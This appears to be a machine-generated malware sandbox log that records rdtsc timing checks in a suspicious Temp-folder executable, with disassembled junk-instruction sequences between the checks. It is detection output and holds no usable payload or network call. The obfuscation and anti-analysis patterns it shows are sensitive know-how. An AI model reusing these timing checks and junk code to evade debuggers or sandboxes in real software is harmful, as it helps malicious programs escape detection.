Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90A03 second address: 4A90A09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90A09 second address: 4A90A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90A0D second address: 4A90A47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test byte ptr [76FB6968h], 00000002h 0x0000000f pushad 0x00000010 pushad 0x00000011 movzx ecx, bx 0x00000014 mov edi, 315C3812h 0x00000019 popad 0x0000001a jmp 00007FB168B06453h 0x0000001f popad 0x00000020 jne 00007FB1DAF9BDC1h 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90A47 second address: 4A90A4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90A4B second address: 4A90A51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90A51 second address: 4A90A6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 mov edx, 47AC6F58h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov edx, dword ptr [ebp+0Ch] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB16943CC9Ah 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90A6E second address: 4A90A80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB168B0644Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90A80 second address: 4A90AF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CC9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FB16943CCA6h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov ecx, ebx 0x00000015 popad 0x00000016 xchg eax, ebx 0x00000017 jmp 00007FB16943CCA6h 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov cl, bl 0x00000022 pushfd 0x00000023 jmp 00007FB16943CCA6h 0x00000028 xor ax, B8D8h 0x0000002d jmp 00007FB16943CC9Bh 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90AF3 second address: 4A90B95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB168B0644Fh 0x00000009 sbb eax, 18D1B39Eh 0x0000000f jmp 00007FB168B06459h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FB168B0644Ah 0x00000020 or cx, FD98h 0x00000025 jmp 00007FB168B0644Bh 0x0000002a popfd 0x0000002b mov dl, ch 0x0000002d popad 0x0000002e xchg eax, ebx 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FB168B06451h 0x00000036 or al, 00000036h 0x00000039 jmp 00007FB168B06451h 0x0000003e popfd 0x0000003f jmp 00007FB168B06450h 0x00000044 popad 0x00000045 push dword ptr [ebp+14h] 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007FB168B0644Ah 0x00000051 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90B95 second address: 4A90B99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90B99 second address: 4A90B9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90BF2 second address: 4A90C0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CCA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90C0F second address: 4A90C15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90C15 second address: 4A90C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1061DD0 second address: 1061DD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 1061DD6 second address: 1061DE5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0D3F second address: 4AA0D45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0D45 second address: 4AA0DBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, dx 0x00000006 mov di, 4B0Ch 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007FB16943CC9Eh 0x00000015 pushfd 0x00000016 jmp 00007FB16943CCA2h 0x0000001b add ah, 00000058h 0x0000001e jmp 00007FB16943CC9Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pushfd 0x00000026 jmp 00007FB16943CCA8h 0x0000002b adc esi, 7DA070B8h 0x00000031 jmp 00007FB16943CC9Bh 0x00000036 popfd 0x00000037 popad 0x00000038 xchg eax, ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c movsx ebx, cx 0x0000003f pushad 0x00000040 popad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0AC1 second address: 4AA0B30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB168B06454h 0x00000009 or si, BB98h 0x0000000e jmp 00007FB168B0644Bh 0x00000013 popfd 0x00000014 mov ax, 4D4Fh 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d mov cx, 9747h 0x00000021 movzx eax, di 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FB168B0644Bh 0x0000002f add si, 990Eh 0x00000034 jmp 00007FB168B06459h 0x00000039 popfd 0x0000003a mov esi, 0EC7C617h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0B30 second address: 4AA0B5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CC9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB16943CCA8h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0B5E second address: 4AA0B64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0B64 second address: 4AA0B6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0B6A second address: 4AA0B90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06458h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0B90 second address: 4AA0B96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0B96 second address: 4AA0B9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B207F9 second address: 4B207FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B108EF second address: 4B108F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B108F3 second address: 4B108F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B108F9 second address: 4B10908 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB168B0644Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B10735 second address: 4B10780 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB16943CC9Bh 0x00000008 adc si, 7DBEh 0x0000000d jmp 00007FB16943CCA9h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 movzx ecx, di 0x00000018 popad 0x00000019 push ebp 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FB16943CCA4h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B10780 second address: 4B107B1 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 7D41CC01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov cx, 273Dh 0x0000000d popad 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007FB168B06458h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B107B1 second address: 4B107B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0103 second address: 4AB0107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0107 second address: 4AB010B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB010B second address: 4AB0111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0111 second address: 4AB0120 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB16943CC9Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0120 second address: 4AB0188 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FB168B06451h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007FB168B06453h 0x0000001b and al, 0000005Eh 0x0000001e jmp 00007FB168B06459h 0x00000023 popfd 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB0188 second address: 4AB018D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB018D second address: 4AB01A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 50170840h 0x00000008 mov al, dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB01A2 second address: 4AB01A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB01A8 second address: 4AB01AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB01AD second address: 4AB01C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, si 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop eax 0x00000010 push edi 0x00000011 pop esi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AB01C0 second address: 4AB01C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 13C9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B10B35 second address: 4B10B8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CCA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov si, 6EADh 0x0000000f pushfd 0x00000010 jmp 00007FB16943CC9Ah 0x00000015 add ax, 9948h 0x0000001a jmp 00007FB16943CC9Bh 0x0000001f popfd 0x00000020 popad 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov ah, 07h 0x00000027 jmp 00007FB16943CCA7h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B10B8E second address: 4B10B94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B10B94 second address: 4B10C3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FB16943CCA7h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 mov ecx, 11B7719Bh 0x00000016 pushfd 0x00000017 jmp 00007FB16943CCA0h 0x0000001c and al, 00000068h 0x0000001f jmp 00007FB16943CC9Bh 0x00000024 popfd 0x00000025 popad 0x00000026 push dword ptr [ebp+0Ch] 0x00000029 pushad 0x0000002a mov di, si 0x0000002d pushfd 0x0000002e jmp 00007FB16943CCA0h 0x00000033 and esi, 750AC2C8h 0x00000039 jmp 00007FB16943CC9Bh 0x0000003e popfd 0x0000003f popad 0x00000040 push dword ptr [ebp+08h] 0x00000043 pushad 0x00000044 mov cx, B15Bh 0x00000048 mov edx, eax 0x0000004a popad 0x0000004b push 28A38B0Fh 0x00000050 pushad 0x00000051 call 00007FB16943CCA9h 0x00000056 pushad 0x00000057 popad 0x00000058 pop ecx 0x00000059 push eax 0x0000005a push edx 0x0000005b mov dx, CA70h 0x0000005f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B10C95 second address: 4B10C99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B10C99 second address: 4B10C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B10C9F second address: 4B10CA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B10CA5 second address: 4B10CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B10CA9 second address: 4B10CB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B10CB8 second address: 4B10CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B10CBC second address: 4B10CCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B0644Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC05E2 second address: 4AC0699 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, dl 0x00000005 pushfd 0x00000006 jmp 00007FB16943CCA8h 0x0000000b and cx, F5A8h 0x00000010 jmp 00007FB16943CC9Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b mov dl, cl 0x0000001d mov bx, EA84h 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007FB16943CC9Ah 0x00000028 xchg eax, ebp 0x00000029 jmp 00007FB16943CCA0h 0x0000002e mov ebp, esp 0x00000030 pushad 0x00000031 mov dh, ch 0x00000033 jmp 00007FB16943CCA3h 0x00000038 popad 0x00000039 push FFFFFFFEh 0x0000003b pushad 0x0000003c mov ax, 1B7Bh 0x00000040 movzx eax, di 0x00000043 popad 0x00000044 call 00007FB16943CC99h 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007FB16943CCA4h 0x00000052 jmp 00007FB16943CCA5h 0x00000057 popfd 0x00000058 mov cx, 4F27h 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC0699 second address: 4AC06CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B0644Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB168B06451h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FB168B0644Ch 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC06CE second address: 4AC0707 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CC9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007FB16943CCA9h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov eax, 0D9D11A9h 0x0000001c push eax 0x0000001d pop edx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC0707 second address: 4AC072E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B0644Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB168B06455h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC072E second address: 4AC0804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB16943CC9Ah 0x00000009 sbb si, ABD8h 0x0000000e jmp 00007FB16943CC9Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push 0FE1A169h 0x0000001c pushad 0x0000001d movzx esi, dx 0x00000020 popad 0x00000021 xor dword ptr [esp], 79110F69h 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FB16943CCA9h 0x0000002f sbb esi, 2F76F626h 0x00000035 jmp 00007FB16943CCA1h 0x0000003a popfd 0x0000003b pushfd 0x0000003c jmp 00007FB16943CCA0h 0x00000041 or esi, 6BAAAFC8h 0x00000047 jmp 00007FB16943CC9Bh 0x0000004c popfd 0x0000004d popad 0x0000004e mov eax, dword ptr fs:[00000000h] 0x00000054 pushad 0x00000055 push esi 0x00000056 call 00007FB16943CC9Bh 0x0000005b pop eax 0x0000005c pop ebx 0x0000005d call 00007FB16943CCA6h 0x00000062 mov dh, ah 0x00000064 pop ebx 0x00000065 popad 0x00000066 nop 0x00000067 jmp 00007FB16943CC9Ah 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007FB16943CC9Dh 0x00000076 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC0804 second address: 4AC080A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC080A second address: 4AC0810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC0810 second address: 4AC0832 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06456h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC0832 second address: 4AC086B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FB16943CCA3h 0x0000000a xor eax, 2BB12EDEh 0x00000010 jmp 00007FB16943CCA9h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC086B second address: 4AC08DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 pushfd 0x00000007 jmp 00007FB168B06458h 0x0000000c sub esi, 66BF0E08h 0x00000012 jmp 00007FB168B0644Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b sub esp, 1Ch 0x0000001e jmp 00007FB168B06456h 0x00000023 xchg eax, ebx 0x00000024 pushad 0x00000025 push ecx 0x00000026 mov ax, dx 0x00000029 pop edi 0x0000002a pushad 0x0000002b mov cx, 197Bh 0x0000002f mov ax, D257h 0x00000033 popad 0x00000034 popad 0x00000035 push eax 0x00000036 jmp 00007FB168B0644Dh 0x0000003b xchg eax, ebx 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC08DE second address: 4AC0947 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB16943CCA8h 0x00000008 add cx, 8528h 0x0000000d jmp 00007FB16943CC9Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007FB16943CCA8h 0x0000001b jmp 00007FB16943CCA5h 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov bh, 0Bh 0x00000028 mov ax, 570Bh 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC0947 second address: 4AC0964 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB168B06450h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AC0964 second address: 4AC0973 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CC9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
